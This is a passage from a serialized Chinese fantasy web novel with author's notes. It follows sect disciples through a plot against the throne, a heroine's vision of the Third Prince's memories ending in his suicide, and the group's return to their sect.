信仰或说信念,实际是一种寄托,是有所求的一种表现。谭一筠虽然是个不折不扣的话痨,但私下里其实是个并不多言的人,像方才那样盯着子不语自省的时候偏多,遇事也顶多向内寻求,很少向外,故而没有信念也没什么。 叶泯则是因为短短十几年人生过得十分顺遂,遇到的事若是摆平不了,自有父兄解决;遇到的人也大多是聊得来的“好人”,穷凶极恶之辈更是只在口口相传中听闻过,不曾亲见,是以没有向外寻求的必要。 到头来,能“答得上”这一问题的又只剩下了楚悯。 其实仔细想来,单从“信念”上看,她与三皇子甚至有几分相像。 同样是在心智极不稳定的时期,过早地窥见了所谓的“天机”;同样是自以为能改变天机中所昭示的命运;同样失败了,什么也没能改变。 她好像顿时失去了指责三皇子的理由,面对三人的目光沉默了片刻才说:“我……笃信卜算的结果。” 某种意义上,卜算的结果和洞玄昭示的命数也是殊途同归的,她连信念都与三皇子相似,三皇子又会落得什么下场?那也会是她的下场吗? 章存舒把茶碗朝灵犀倾斜了几分,省得这小玩意变小后被点心碎屑噎住,闻言看似心不在焉地说道:“卜算的结果可与洞玄昭示大不相同,卜算时你心中有疑问,它给的是你心中疑问的结果,哪怕不尽如你意,但也是对你自己所问的解答。 “三皇子并无疑问,他甚至存了‘洞玄一定会昭示什么不同寻常’的心理,洞玄给他看什么,他便信什么。” 章存舒抬起眼看向楚悯:“你跟他怎么会是一样的人。” **** 关云铮如今的五感比先前要敏锐许多,是以她十分确信自己方才并没有听错,除却他们三人之外,这藏书阁之中确实还有另一个人在——但寻踪隐没的地方无人。 那道没有载体的符落在了一捆竹卷上,闪动着微弱的光芒,关云铮没有贸然翻动,确认周边确实无人后,将竹卷拿了回去。 “没人?”闻越皱眉看向她身后。 关云铮对着他摇了摇头:“方才我确乎听到了翻书的声音。” 褚鹤贤伸手拿过她手中卷册,将那道寻踪随手掸了:“你没听错,但兴许来的也不是人。” 闻越听得直哆嗦,大白天的归墟也能闹鬼? “先前仙盟送来的那群人干的?”关云铮思索着,重新在桌边坐下。 褚鹤贤把画完的传音符递给她:“你可知这一年的集中教习,为何放在归墟?” 她也很好奇,毕竟她从刚来归墟那会儿,就在第一次下山的时候,听殷含绮手下那人说过,归墟是破落户。然而身为一个破落户,归墟却被仙盟选中进行这么多学生的集中教习,她觉得这前后稍微有些矛盾了。 ——虽然她知道归墟不是破落户,只是有点钱都用在学生身上了,没有买几百万一块的刻字石头,没有买据说一千岁的古树,也没有一月三次地修路。不过是正门看着破败了些,谁还能有归墟这样的单人宿舍独立卫浴大体积浴缸,以及,定期清理房间服务呢? 都没有吧,那归墟算什么破落户? “看着太破了别人想不到这其实能落脚”的那种“破落户”吗? 她想到这,对着褚鹤贤摇了摇头。 褚鹤贤捋了一把胡子:“是仙盟自行用法器选中了,但又想反悔,闹得厉害时把如今的皇帝都惊动了。” 哦,难怪这么个“破落户”都能顺利地被选中,仙盟甚至不敢有什么怨言似的,原来是关系户黑箱。 关云铮没着没落地想,顺便又问道:“我们这里是第二次施行,那第一次呢,在哪?” 褚鹤贤的笑容忽的更深了一些:“翠屏山,谭一筠的师门。” 关云铮感觉到自己的嘴角诡异地抽了抽。 不是,别告诉她教习的地点顺序其实是按首字母顺序排的吧! 不然她真的不能理解,为什么这世上这么多仙门,唯独选中了归墟。 “你师父因为在朝安长大,对仙盟那群人的行事作风了然于心,一直不太待见他们。仙盟中如今掌权的一部分人被捧惯了,忽然遇上这么个钉子,自然要使绊子。 “结果还没动手,自家法器就抽中了归墟作为第二年的教习门派,急得去请示皇帝,谁料洞玄也‘说’归墟是个教习的好去处,恐怕气得不轻,教习都一月余了才想起还得送几个‘细作’过来。”褚鹤贤只演示了一次传音符的画法便放下了笔,继续一边翻阅卷册一边说道。 “他们派人来是想从归墟探听些什么?我们又不会谋反,有什么好窥伺的。”关云铮想不明白。 “因为他们想谋反,”章存舒笑着叹了口气,“心怀不轨之人,自然看谁都觉得居心叵测。” 楚悯皱起眉头:“仙盟为何要谋反?如今他们在朝中虽无实权,可也不曾被亏待,各大仙门虽不听仙盟调遣,但也没有把仙盟废除的想法……” 营帐之外风声猎猎,章存舒给三位弟子都倒了杯热茶,对上楚悯逐渐了然的目光:“答案都在你方才的话里了。” 叶泯实在坐立难安,坐了不消片刻就想往外看一眼三皇子的军队打过来没有,闻言一时愣在了原地:“先生的意思是,仙盟想得到更多权力,同时掌管各地仙门?” “可如今各国之间的邦交不就是由仙盟负责?他们还想要多大的权力?”谭一筠一时想不通。 依他之见,与别国的邦交实在不宜交由仙盟负责,如今如此已是十分逾越了,仙盟还想要权,是想把手伸到哪儿去?要翻天不成? 章存舒失笑:“如果从来如此,是不会有人生出异心的。” 他示意叶泯坐到自己身侧:“先帝在位时,仙盟手握实权堪比朝中宰相,各地仙门也需听其派遣行事,那是何等的辉煌?” 楚悯颇觉荒谬:“推翻之后呢?权力失而复得可没有他们想象的那么简单,朝廷总还需要一个掌权者,到时他们要选哪个傀儡?” 她说到一半再度从自己的话里得出了答案,脸上的神情从荒谬转为了不可置信:“三皇子?” 叶泯差点被喝进嘴里的茶呛死:“真是三皇子?仙盟人疯了?” 谭一筠也惊呆了:“若是三皇子对同灯道长所说的那些话不曾作伪,他分明打算将天下气运集于自身,不仅要收拢朝中权力,还要把仙门捏在手里,跟他合作,仙盟人中邪了?” 苍韫桢虽架空了仙盟,让他们不得不做朝廷眼中的叫花子,仙门眼中的癞皮狗,但好歹还没被废除,哪怕名存实亡,至少也有个足以令不少人心向往之的“名”。 可若是三皇子篡位,以他那“应运之人”的做派,会允许仙盟这群沽名钓誉之辈,把实权攥在手里吗? 不用琢磨修炼进益的人果然是清闲,脑子既用不上还存着一汪水,日久天长,都快生出两斤锈了,这么馊的主意也能想得出来? “那归墟……”说到这,楚悯自然而然地想起先前各地塞过来的第二批教习弟子,不由得担忧起来,把目光再度投向了章存舒。 章存舒悠然自得的模样让人根本看不出他们此刻在行军帐中:“此番离开归墟也快有一月了,算起来,今日大概就能回去了。” 叶泯和谭一筠被他这牛头不对马嘴的话说得一头雾水,而没有得到正面回答的楚悯正要开口追问,忽然看见帐帘被人掀了起来——消失了大半日的柳卿知终于现了身。 “柳相。”一时之间,三人的目光都看向了在场更为靠谱的大人。 柳卿知被三双殷切的眼睛注视着,不由对着他们笑了笑:“想去看看我们是怎么不战而屈人之兵的吗?” **** 关云铮临行前颇费了一番口舌,才勉强说服了师兄师姐们,独自一人带着摇羽往江县去了。 摇羽自己就是剑灵,御剑时不需耗费她太多灵气,对她的伤势影响不大,真正影响到她的反而是——闻越塞给她的即时通信传音符。 一听见她说要去江县,闻越是手也不抖了,功课也不稀松平常了,见劝不动她,当即就把那日在藏书阁看的传音符画了个一模一样的出来,还现学现卖地用了一块玉牌作为介质,成了个即时通信的。 褚鹤贤看得气不打一处来,抄起竹简从学堂这头打到了学堂那头,把闻越追了个屁滚尿流。 “从前让你学几个符咒就这疼那疼的,敢情你往日都是装的?好啊你,明日开始给我来学堂跟教习弟子们一同学习!”褚鹤贤气得胡子都快飞了,抄着竹简还想揍人。 闻越“噌”一下蹿出几步远,还没忘了顶着褚老的怒火为自己狡辩:“这是灵光一现,做不得真的!” 关云铮原本只是离家之前同长辈报备一声,没找着掌门就先来了褚老这,此情此景之下,生怕褚鹤贤一把年纪气出个好歹,赶紧站到两人中间劝说道:“先生,师兄日后一定用功,绝不怠慢,今日也是因为我要独身去往江县,他放不下心,才被激发出这样的潜力,往日想来也不是有意骗您。日后他定然也不会辜负先生的厚望的,”她看向蹿出去的闻越,“对吧?” 闻越对此事实在是不敢保证,他连早起都费劲。但云崽看过来的眼神已经快能杀人了,他忙不迭点头应下:“我明日就来学堂!” 褚鹤贤这才放下手里险些要砸出去的竹简,瞪了闻越一眼,把方才他绘制的传音符拿起来看了看:“尚可,带着吧,此去江县多加小心。” 他说完这话忽的又想起什么,追问了一句:“为何不先与你师父传信?江县应当有传信处。” 关云铮这时才流露出了一点先前被她遮掩得很好的无措:“我给传信处去过信,没有回音,师父他们可能已经不在那附近了。” 褚鹤贤与章存舒认识多年,深知其人德性,闻言不甚惊讶地一点头:“那就是暂离一阵子,很快便会回来的,你也不是非得去江县不可。” 话是这么说没错,但她昨夜又做了个没头没尾的梦,梦见原本已经日渐好起来的江县,竟被战火毁于一旦了! 鉴于先前江县的大火也曾出现在她的梦中,这次的梦虽然到处都透着不合理——譬如若是梦境为真,为何这么大的事师父不写信回来;为何这样大的事柳相不出手阻拦——但她还是放不下心,打算去江县一趟。 诚然,她也知道自己的存在对局势产生不了多大的影响,但师父和她的同伴们都在江县,她不去看一眼实在是……坐立难安。 褚鹤贤也只是劝一句,并不会多加阻拦,见她忧心忡忡的模样,最终只是叹了口气又摆摆手:“去吧,带你的同伴们早些回来,这月的幻境考察虽为你们延后了几日,但你们落下了好些功课,要趁早补上。” 胆大包天的闻越不知何时又蹭了过来,听了褚鹤贤这话嘀咕道:“先生,你这话说得,别让他们听了都不想回来了。” 有些人就是人菜瘾大,明明斗不过别人还总想着挑衅。 本就尚未平息怒火的褚鹤贤再度抄起放在一边的竹简,二话不说就往闻越身上抽。 关云铮叹了口气,拿上摇羽和玉牌走了。 “你知道江县的方向?”摇羽任劳任怨地载着她往外飞,忍不住开口问道。 关云铮回过神来,把一直在她腰间叫唤的传音玉牌放入了乾坤袋:“我不知道。” 摇羽一晃,差点把她摔下去:“那你还这么游刃有余?还不快查?” 关云铮被它这么一晃,身形竟没晃动半分,她神色自如地答道:“但我知道洞玄在哪。” 她像是随口说起一般指了个方位:“走吧,剑灵前辈。”—— 作者有话说:有时候真的很好奇自己怎么这么能写() 第117章 摇羽一头雾水:“你何时能感应到洞玄了?” 剑灵虽然平时总同她拌嘴, 但他人在时其实话并不多,故而关云铮没打算向它隐瞒,坦诚道:“我怀疑将隐的实体碎掉之后, 它的权能融入了我的识海里。” 摇羽的语气听着很惊讶, 剑身倒是操纵得很稳,没有在急速的气流中打晃:“但这又和你感应到洞玄有何关系?将隐难道能与洞玄相互感应?” 关云铮摇了摇头, 想到摇羽看不见, 又改口道:“应当不能,不然陛下和柳相应当早就知道我有将隐在身了,之前来到归墟的那日便不会同我们一起困惑。” 她原本觉得是仙门中人擅用灵气,激发了将隐互相感应的功能,但转念一想,苍韫桢分明也会缩地成寸, 不存在不会使用灵气这一前提,所以这一结论也就站不住脚了。 不过经此一遭, 关云铮越发确定了,自己这脆弱不堪的脑子承受不住太多的胡思乱想, 有的事想到第二层或许就可以暂时停住脚步, 不再深入了,若是强行想到更深的层次,大脑兴许会罢工。 因此她将此事缘由暂时搁置, 示意摇羽加快速度往江县的方向飞, 同时没忘了询问这位一百多岁的剑灵前辈:“未来你有可能……通过剑身看见外物吗?” 摇羽没想到她会问出这话,沉默了好半晌才答道:“要看你的境界了。” 关云铮得到了意料之中的答案,好脾气地点了点头,顺着话茬往下说道:“那我努力。” 一人一剑插科打诨,还没到江县关云铮就感应到了洞玄的存在, 顿时警惕起来,让摇羽降低高度,她好占据制高点偷偷观察。 谁料还没等她降下一半的高度,先前洞玄和将隐从未在这样近的距离同时运转过,而她又一直在脑海中调动着昨日梦境的记忆,甫一靠近,就被正在运作之中的洞玄捕获了思绪,被强行拽进了一段不属于她的画面里。 在彻底失去对身体的掌控之前,摇羽终于急速落了地,关云铮撑着最后一线清明从剑上踉跄而下,就地一滚,钻进了一个灌木丛里。 “怎么回事?”摇羽不明所以地问道。 窝成一团的关云铮把摇羽拿在手里:“警戒周围,我……” 她话还没说完,意识已经彻底落入虚空。 摇羽虽看不见,但经历这许多也明白关云铮一定又阴沟里翻船了,顿时气急败坏道:“我就不该载你离开归墟!” **** “三哥!”女孩欢欣雀跃的声音。 他懒懒地应了一声,没回头,随手挑了一支新箭,眯起眼瞄准后投入壶中。 没中。 “啧。” 脚步声“哒哒哒”地向他而来,方才喊他的女孩终于到了亭中,见他投壶未中,笑嘻嘻地凑到他身边:“三哥有烦心事吗?” 他低头看了妹妹一眼,颇为手欠地捏了一把她肉乎乎的脸蛋:“父皇要给我选伴读了。” 女孩歪了歪头:“这不是好事吗?太子哥哥有了伴读之后都不找你的事了,可见伴读确实是个好东西。” 他哭笑不得:“他本也不该找我的事,还有,伴读是人,不是东西。” 女孩乖乖地“哦”了一声,又想到什么,童言无忌道:“不过三哥有了伴读的话,去哪里读书呢?会不会又要遇到太子哥哥了?”她把自己说服了,顿时愁眉苦脸起来,“他不会又要欺负你了吧?那我去跟父皇说,我也要伴读,我陪着三哥!” 他心里的那点愁绪都被妹妹的胡搅蛮缠搅和没了:“瞎说什么呢,你才多大,父皇不会让你去读书的。” 但他心里也清楚,这不是真话。因为不管他的妹妹长到多大,都是公主,是不会得到同皇子一样的待遇的。 只是这些话就没必要对他六岁的妹妹说了。 “小桢,是三哥好还是太子哥哥好?”他忽然半蹲下来,看着自己妹妹问道。 苍韫桢觉得三哥的问题很莫名其妙,她不明所以地眨眨眼:“为什么问这个呀?三哥每天都陪着我,当然更好呀,太子哥哥又不是我的亲哥哥,虽然对我很好,但是他不会在用膳的时候给我夹菜,也不会在我睡不着的时候给我讲话本听呀。而且太子哥哥总是欺负你,就算对我很好,我也不要再喜欢他了。” 他笑了笑,把自己妹妹鼻尖的汗轻轻抹掉了:“三哥糊涂了,怎么会问小桢这种问题呢。” 苍韫桢“小人有大量”,没打算跟她哥哥计较,颇为老成地对着他点点头:“三哥读书的时候可不要犯糊涂了,母妃知道会不高兴的。” 小孩说者无心,少年听者有意,他的脸色在听到“母妃”二字后不可避免地扭曲了一瞬,很快又不甚熟练地收敛起自己的情绪,不让他的阴暗吓到自己的小妹妹。 苍韫桢无知无觉,站了这一会儿已经觉得累了,便伸出手说道:“我要坐石凳,三哥帮我。” 她腿太短了,自己实在坐不上去。 少年眉眼间的情绪从阴云遍布到万里无云,只经历了他妹妹伸出手的这一个动作。 他就着半蹲的姿势把面前的小姑娘抱起来,像对待什么宝物一样,轻轻地把她在石凳上放下。 “三哥还投壶吗?”苍韫桢眼巴巴地看着他。 “你想玩?”他领会了妹妹的言外之意。 “想玩!”苍韫桢眉开眼笑。 他把尖锐的箭头拆了之后,才把光秃秃的箭杆递给苍韫桢:“拿着玩吧,投不中,三哥给你捡回来。” …… “三哥。”少女的声音尚未完全褪去青涩,但里头的熟稔已经一去不复回了。 他最近刚得到了上朝参政的机会,正与伴读就朝堂上参奏之事激烈争论,闻言只是往声音来源处看了一眼,对自己长大的妹妹点了点头,便头也不回地走远了。 他知道苍韫桢还在身后看他,也知道那眼神里兴许有不解,有埋怨,但他懒得管。 想要在太子的压制下得到父皇的青眼,他要做的事太多了,时过境迁,他已经不是那个会抽出一整个下午,陪妹妹玩投壶的傻皇子了。 这些年来,读的书越多,他越能清楚地意识到,父皇一直在有意催化他与太子之间的矛盾冲突,就连他的名字都是父皇用来刺激太子的工具。 或许上位者注定弄权,搬弄是非也总比处理朝堂之事来得驾轻就熟。 只是难怪,难怪年少时太子总是寻衅生事,原来是父皇每次点评太子的学业时都要拐上他,易地而处,他也无法对这样一个存在心平气和,不找事才怪。 多年过去,父皇的挑拨仍时有发生,因此,太子的挑衅也仍在继续,只是手段从明面上的言语刺激,转为了暗处的处心积虑,日复一日,年复一年。 但他如今上得朝堂,已抽不出空回应这些不入流的小伎俩——他急切地想在朝堂上站稳脚跟,在众臣中为自己挣得一席之地,没空搭理那些小打小闹。 仙盟在朝中究竟该是个什么位置?朝廷又该不该给各地仙门放权?如果要向仙门伸手,他们又会不会仗着自己有几分凡民之外的本事,不给朝廷脸面? 这些都是他如今要“帮着”父皇解决的问题,他没有太多时间去处理兄弟阋墙,回应儿女情长。 …… “儿臣以为,洞玄权能过于强大,不可完全交由天问看管,朝中当派一人前去监督,以免天问中人监守自盗。”他向前一步朗声道。 仙盟中没有天问出身的人,天问天赋异禀者众,也一向是仙盟中这些世袭子弟的眼中钉,此言一出,朝堂上的仙盟之人立即与他一拍即合,不由也出列道:“臣附议。” 安居皇位之人懒得同那些仙风道骨的人费口舌,摆摆手:“既如此,就派老三你去吧,看好了,别让洞玄的权能浪费在与我朝无关之事上。” 他在心里冷笑一声,面色无异:“儿臣遵旨。” 浪费,呵,用在我朝之事上才是浪费。 今年南边又闹了洪灾,连续几年折腾下来,南方人逃的逃,死的死,没死的大半都成了流民。流民又在各地之间流窜,还有的染了疫病,流窜之间将疫病传播到了其他郡县。久而久之,南方那一整片郡县就像国土之上的一块疮疤,揭开一看,全是民不聊生的脓。 这些事哪怕不用上洞玄的权能,也能知道究竟谁才是症结。 散朝后,他虽心愿得偿,但依旧神色不虞,面色阴沉地往外走。 方才与他沆瀣一气的仙盟人巴巴地凑上来,兴许是想拍几句迟来的马屁。 他此刻正看什么都诸般不顺眼,更是懒得搭理这叫花子,但还是挤出一个客气有礼的笑,与那人在殿前台阶上攀谈起来。 “三哥?”苍韫桢拾阶而上,见他散朝后还未离去,不由有些惊讶。 他正愁不知怎么摆脱这仙盟人,闻言立刻看向她:“回来了?” 苍韫桢久未见得他如此熟络,不明所以,但还是答道:“回来了。” 他殷勤的样子令他自己都倍感不适:“归墟如何?” 苍韫桢不亲近也不冷淡地点了点头:“尚可,学了些皮毛。” 那仙盟人见兄妹俩闲聊起来,自觉多余,忙冲着二人作了个揖,匆匆离开了。 他一走,在场二人都变了脸。 苍韫桢平淡道:“我去给父皇回话。” 他挂着一母同胞的冷淡脸色点了点头,转身沿着台阶走远了。 …… “三哥。”皇位之上的人终于换了一个,可他却依旧站在那台阶之下,仰望着……那原本只是个公主的苍韫桢。 “怎么可能?怎么会是你?”他不可置信地后退两步,洞玄仍在原地静静地转动着,投影出的画面依旧没有被他的动作撼动半分。 洞玄昭示出的未来里,继位的不是太子也就罢了,怎么会是苍韫桢?哪有公主当皇帝的道理?她又凭什么能登上皇位?她为这个国家付出过什么?为什么不是他? 涌上心头的第一反应是不可置信,随后,那强烈的不可置信催发了他内心隐秘处的破坏欲,他上前一步,猛地抓起那不过蹴鞠大小的法器就要往地上砸。 不能让任何人看到它昭示出的命运。 议事堂的灯火忽的旺盛起来,像是对他即将犯下错误的警示。 他惶然地松了手,任由那法器骨碌碌地滚落在地,随后仓皇地夺门而出。 …… “原来还是你……”几年过去,洞玄昭示的画面依旧与他记忆中的一般无二,像在提醒他,所谓的“应运之人”只是他的痴心妄想,从始至终,天道选择的都是那个在他眼中毫无建树的苍韫桢。 “原来一直是你……”他松开手,缩小了数倍的洞玄此刻只是个在灯火下不甚起眼的骰子,滚动时发出的动静几乎要被他的呼吸声吞没了。 “可是为什么,为什么柳卿知也能启用洞玄……”灯火在他的眼中闪烁着。 “因为她是苍韫桢选中的?因为她不会背叛她?所以你也会对她效忠?” 他的语言混乱无序,指代不明,任谁来了都会一头雾水,更何况洞玄只是个没有器灵的法器,只能保持沉默,无法回答问题。 “我明白了……” 营帐之外陡然刮起了一阵大风,扑入帐中,将那本就在晃动的烛火扑得瑟瑟发抖。 “噌”一声长剑出鞘。 一捧热血泼在了那迎风而起的帐帘上,终于将那孱弱的灯火扑灭了—— 作者有话说:其实之前说是加更但一直没“加”出来,隔了两三天的更新怎么能算是加更呢()但好心的读者们也没跟我追究[可怜] 总之今天手感好把加更写完了,直接发[墨镜] 从7.7上午十点→7.19上午十点,新增营养液63评论48,所以加更字数是3660,完成~ 第118章 像是被溅在布帘上的那捧血灼伤了眼球, 关云铮猛地睁开眼坐了起来。 摇羽一直留神着周围,听她呼吸声骤然急促起来,知道她是“醒了”, 咋呼道:“到底怎么回事?方才说着话就没动静了。” 饶是它起初与这个叫关云铮的小丫头并不对付, 这段时间以来,虽然她口头总是嚷嚷着修炼辛苦, 但也不曾真的懈怠, 这副认真对待的模样确实有那么一些时候,会让它想起自己的原主人。 既然如此,那也不是不能包容和关心一番,毕竟比它小这许多岁数。 关云铮拎着摇羽站起来,低头看了一眼腰间,确认剑鞘还在身上, 没随着方才翻滚的动作落进灌木丛的角落里,继而环视了一番周围的环境。 三皇子自杀的画面仿佛烙在了她的视网膜上, 她眨了好几次眼,才勉强摆脱那股身处记忆之中感受到的绝望:“可能是将隐与洞玄同时启用, 我方才被拽进了三皇子的记忆里。” 与这样一个完全不能理解共情的人处在同一段记忆里的感觉很割裂, 她的理智已经把三皇子骂得狗血淋头,但记忆强加给她的感情又好像在说,这世上没有人比这个走投无路只能自戕的人更惨了。 狗屁。 “三皇子?”摇羽茫然, 它处在剑鞘中的时间更多, 对事态的发展一知半解,此时感觉自己仿佛好几天都是聋的,一头雾水地问道,“他一个皇子怎么会在江县?我们是在江县附近吧?” “是在江县附近,但洞玄并不在柳相手里, 而在三皇子手里。”所以她才落到了这么个……陌生的地方。 摇羽听起来恨不得从剑里钻出来往外看:“在他手里?难道是柳相给的?” 关云铮“嗯”了声:“应该是。” “那我们现下怎么办?这到底是落在哪了?”怎么都在欺负它这个没有实体也看不到的剑灵。 “我估计是落在了敌营里,三皇子的私兵。”不过她方才落地的动静应该不太大,这么一会儿过去,灌木丛仍未引来巡逻之人,但是也可能…… “三皇子难道对此事早有预料?怎么这营地里到处见不着人……”关云铮喃喃自语道。 “此事?什么事?你从他记忆中看到的?”摇羽追问。 “三皇子死了,自刎。”关云铮将自己看到,或者说感受到的记忆如实相告。 “什么?!”叶泯从座位上窜了起来,“三皇子死了?!” 陆识微短促地点了点头:“敌营的帅旗撤下来了。”虽然撤掉帅旗也可能有别的原因,但……柳大人之前把洞玄递交给三皇子时就同她说过,在看到洞玄昭示的命数之后,三皇子很可能会选这样一条死路。 陆识微没有见过洞玄启用时的景象,也没有过三皇子这样深的执念,这样“彻骨”的爱恨,永远也无法与他感同身受。因此她也不能理解,为什么三皇子在第二次看到所谓的“命数”之后,会选择一条死路。 江县的大火尚且是被洞玄提前揭示的,也没见柳相顺应洞玄的意思,在大火前就不重建了。民众不关心命数,只关心深秋寒凉的夜里有没有遮蔽风雨的去处,她们顾不上伤春悲秋,感慨什么命途多舛。 更何况三皇子私下囤兵,让人烧毁灾民住所这些事还不曾与他清算,他这样死了,好像所有的错和恨都能消弭一样,对江县来说并不公平。 只是不知道他人又会作何感想…… 三皇子的命数不可被卜算,楚悯没有起卦的想法,直言问道:“柳相呢?现在何处?” 陆识微回过神来,皱眉往外看了眼:“柳大人说,她要去敌营拿回洞玄。” 谭一筠眉头皱得比她还紧:“那法器晚一步去拿也不会缺胳膊少腿,这个时候敌营的防御只会更为森严,柳相为何非要在此时去拿?” 说话间楚悯三人已匆匆起身要往营帐外走,陆识微走在三人身侧,没忘了分享自己的猜测:“或许……柳大人想亲自确认此仗无法打起来?” 说白了就是亲眼看看三皇子死了没。 叶泯一时失语,总觉得这话实在太缺德了,自己有点接不下去。他走出营帐时还想说点什么,却忽然听见熟悉的声音在头顶上方响起:“接着!” 他下意识抬头,还没反应过来人声究竟来源于谁,只见洞玄已打着转飞快地朝他而来,若是再不伸手就要砸在脑门上。 叶泯从未觉得自己反应如此迅捷过,原地跃起,猛地把洞玄捞在手里,这才抬起头看向丢东西的人—— “云铮?你怎么来了?” 帐内几人闻声而出,不约而同地抬起头:只见关云铮正堪称悠然地坐在摇羽的剑身之上。 亮了个足够拉风的相,关云铮从剑上跳下来,这点高度原本能站稳,但落地见到章存舒黑着的脸,她下意识踉跄了一步,一把拉住了楚悯的手:“哎哟。” 楚悯被她精湛的演技吓了一跳,连忙伸出另一只手架住她:“你怎么不在归墟养伤?” 关云铮心虚之下,决定倒打一耙,看向章存舒说道:“还不是给你们传了信,没收到回信,这才决定来看看。” 楚悯被她说服了,但还是忧心忡忡:“这一路过来摇羽的灵气支撑得住?你没有擅动灵气吧?” 摇羽做了苦力还要被埋汰,顿时也顾不上给关云铮留面子了,当着众人的面说道:“她不曾动用灵气,但倒是一直在驱动将隐。” 这剑灵嘴也太快了…… 关云铮一时失语,只能把自己决定来到江县的缘由告知:“我之前梦见过江县的大火,此事小悯也知道。” 楚悯点点头,明白了她的意思:“昨夜你梦见什么了?” 三皇子死了,剩下的人无非是一群乌合之众,柳卿知此次前来并非全无准备,应当能够收拾目前的局面,不用担心被她乌鸦嘴说中什么吧? 她犹豫着没开口,不知何时折返而来的柳卿知忽然代为说道:“梦见江县被战火摧毁了?” 听见声音,陆识微转向来人,悬着的心这才放下:“大人。” 柳卿知对她点了点头,走向众人所在,向着章存舒等人解释道:“我去敌营的路上,碰见了将洞玄带回来的云铮。” 关云铮来到江县的缘由说完了,但身处敌营的缘由还没说,叶泯奇道:“你没见过两军帅旗,所以一时混淆,飞错地方了?” 被他清奇的脑回路震撼了,关云铮沉默了片刻才说:“洞玄与将隐先前从未在近距离内同时启用过,我方才行至敌营上空,因为一直在使用将隐,可能与洞玄之间互相感应,也看到了……三皇子的记忆。” 她的语气听着有几分犹疑,但并不同情三皇子。固然他对女帝曾经是有那么一些兄长之情在,但那兄长之情其实也缺乏温度,譬如他心里始终觉得自己的妹妹处在一个该长到适婚年纪,外嫁和亲的位置。 公主和亲确实是“从来如此”,她也没指望三皇子这样的“既得利益者”能发出“从来如此,便对吗”的质疑。她只是觉得作为兄长,真正的关心应该是带有温度的关心,三皇子至少应该觉得,自己的妹妹值得拥有更好的婚事,而不是默认了她可以随便嫁给一个需要政治联姻的对象。 光凭这一点,关云铮就对他的死没什么惋惜之情。 当然,这其中最可恨的也并非三皇子,而是那个热衷于在自己的亲生孩子之中挑拨离间,醉心弄权的渣爹,标准的“帝王”。 也不知道苍韫桢继位时这渣爹死了没,又对自己两个儿子都没能继承皇位,而是从未正眼瞧过的女儿继承皇位一事……有什么看法。 关云铮在心里嗤笑一声,面上还是很平淡:“三皇子自刎而死,用的是陛下年少时送他的那把剑。” 她不想就此事评价三皇子,好在在场的众人虽心有感慨,但也都不想多说,柳卿知接过叶泯递过去的洞玄收回衣领下:“你潜入帐中竟不曾被人察觉?” 关云铮颇觉荒谬地摆了摆手:“可别提了,敌营军纪一团散沙,甚至还有人在赌钱,我正好落在主帐附近,进去摸了洞玄就走,压根没人注意。” 说到这她又颇为心虚地错开视线:“帅旗还是我降的。” 谭一筠被自己的口水呛了个天昏地暗:“你降的?” “唔,”关云铮思忖了一番该怎么解释自己的无心之举,“我确实没见过他们的帅旗,还以为自己抵达时见到的是乱党攻城,没想到还有如此正规的营帐,见到帅旗就……凑过去看了眼。” 叶泯狐疑:“看一眼就看降了?” 关云铮目移:“还用手拍了拍那旗杆。” 然后那旗杆就,额,断了。 帅旗就这么降下来了。 虽然那时候她的大脑因为这么个小意外一时没想起降帅旗是个什么含义,但她的肢体动作已经被训练得纯熟无比,能够在事发的第二秒就立刻踩上摇羽让它飞快离开。 现在看来…… 也不知道三皇子的尸体被人发现了没有。 他孤独而生,被幼妹无条件的偏爱包容了几年,又亲手毁了这份包容,最终孤独而死。 就连代表了他生命的旗子,都落得那样悄无声息,像是给他这跌宕起伏的一生,画上的潦草句点。 **** 三皇子毕竟是皇亲国戚,哪怕死在自己建立起来的乱党营帐中,最后也该被人妥善安置。 但这就不是仙门中人该操心的事了。 章存舒简单和柳卿知聊过此事便向她辞行,从乾坤袋往外拿灵舟时还没忘了往上面打一道隐蔽行踪的符咒,等到众人都上了灵舟,才正式向柳卿知道别。 虽然从苍韫桢的个人习惯来看……也不是没可能在归墟偶遇被女帝缩地成寸时顺手拉过来的柳相。 但此情此景之下,一份郑重的道别并不突兀,毕竟在场众人全都见证了江县由衰而盛的经过,也都为这样的经过付出了许多。 以后这个连地图上都不曾标注的小地方,会迎来风调雨顺的一年吗? 灵舟在庞大的灵气加持下飞向高处,楚悯察觉到有人在看自己,不由得收回看向那老旧道观的视线:“云崽?” 关云铮同样在出神,此时回过神来,本想把自己正在思考的问题说出口,可一想到面对的是小悯,顿时又觉得此言相当不合时宜,一时被话茬哽住,憋得脸都快红了。 楚悯见了她这样失笑:“有什么不能问的?” 关云铮叹了口气,坦言道:“倒也不是不能问,就是这个话题似乎会令人心情不甚愉悦。” 谭一筠此刻仿佛双商掉线,棒槌似的凑过来:“什么愉悦?” 看来听觉也掉线了。 关云铮看了他一眼,不动声色地往楚悯身边坐了点。 谭一筠直觉自己被瞪,但不明所以,双商仍未归位,嘀咕了一句:“这二十多日未见,云铮你来之前吃火药了?” 没吃火药,但你要是不想活了可以吃点药调理一下。 被谭一筠这么一打岔,她发觉其实也没必要这么如履薄冰,干脆直言:“三皇子死了,你觉得陛下会感觉到吗?” 虽然她不曾经历过,但生活中和影视剧都没少听人说起过,血亲之间有某种微妙的感应。但这话在小悯面前提起又不是特别妥当,毕竟会让人想起她那早逝的叔父。 好在楚悯面上看起来并未多想:“你方才看到的三皇子记忆中,他们感情很深厚?” “曾经年纪尚小时算得上深厚,后来……”关云铮很想把后来的记忆评价为“烂俗”,皇家之中果然并无新事。 但这些都是苍韫桢真实经历过的困惑不解、伤心落寞,虽然在三皇子的视角看来这些情绪全都可有可无,无足轻重,但毕竟那是一个人具体的爱恨。 所以她还是收回了自己那种冷血刻薄的用词,简短道:“后来先帝在其中挑唆,太子针对,三皇子自顾不暇,与陛下之间也出现了罅隙,两人便日渐疏远了。” 到头来,那些情绪不过概括成这么苍白的几句话而已。 比那一捧血还要缺乏温度。 谭一筠和叶泯可能是共用双商,一个聪明了一个就得变愚钝,后者在一旁默默听完后终于开口说道:“感应这种事,本身也与每个人可调用的灵气有关,可调动的灵气越多,可感应的事物也就越多,感应到的精确程度也就越高。” 他往灵舟的窗外看了一眼,正好看见一片云被风裹挟着呼啸而过:“如果陛下擅长缩地成寸的话……那三皇子的薨逝,她应当早有察觉。” 这个话题果然太过沉重,连章存舒都没忍住插话以调转话头:“下次远行我定带着传音符,不让你的信件落空。这样远的距离,御剑而来还是有诸多风险,万一灵气损耗太过伤了身体,岂不又搭进去了。” 